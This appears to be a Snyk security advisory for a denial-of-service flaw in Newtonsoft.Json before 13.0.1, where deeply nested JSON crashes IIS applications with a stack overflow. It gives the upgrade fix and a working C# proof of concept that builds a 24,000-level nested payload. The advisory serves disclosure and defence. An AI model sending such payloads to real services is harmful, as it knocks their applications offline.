Insecure Defaults Affecting newtonsoft.json Open this link in a new tab package, versions [,13.0.1)


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Availability

    High

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  • snyk-id

    SNYK-DOTNET-NEWTONSOFTJSON-2774678

  • published

    24 Apr 2022

  • disclosed

    24 Apr 2022

  • credit

    Gil Mirmovitch

Introduced: 24 Apr 2022

CWE-755 Open this link in a new tab

How to fix?

Upgrade Newtonsoft.Json to version 13.0.1 or higher.

Overview

Affected versions of this package are vulnerable to Insecure Defaults due to improper handling of StackOverFlow exception (SOE) whenever nested expressions are being processed. Exploiting this vulnerability results in Denial Of Service (DoS), and it is exploitable when an attacker sends 5 requests that cause SOE in time frame of 5 minutes.

Note: This vulnerability affects IIS Applications.

PoC:

using System;
using System.IO;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;

namespace JsonTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Create a string representation of an highly nested object (JSON serialized)
            int nRep = 24000;
            string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +
                          string.Concat(Enumerable.Repeat("}", nRep));

            //Parse this object (Parsing works well - no exception is being thrown)
            var parsedJson = JObject.Parse(json);
            
            using (var ms = new MemoryStream())
            using (var sWriter = new StreamWriter(ms))
            using (var jWriter = new JsonTextWriter(sWriter))
            {
                //Trying to serialize the object will result in StackOverflowException !!!
                parsedJson.WriteTo(jWriter);
            }

            //ToString throws StackOverflowException as well  (ToString is very unefficient - even for smaller payloads, it will occupy a lot of CPU & Memory)
            //parsedJson.ToString();

            //JsonConvert.SerializeObject throws StackOverflowException as well
            //string a = JsonConvert.SerializeObject(parsedJson);

        }
    }
}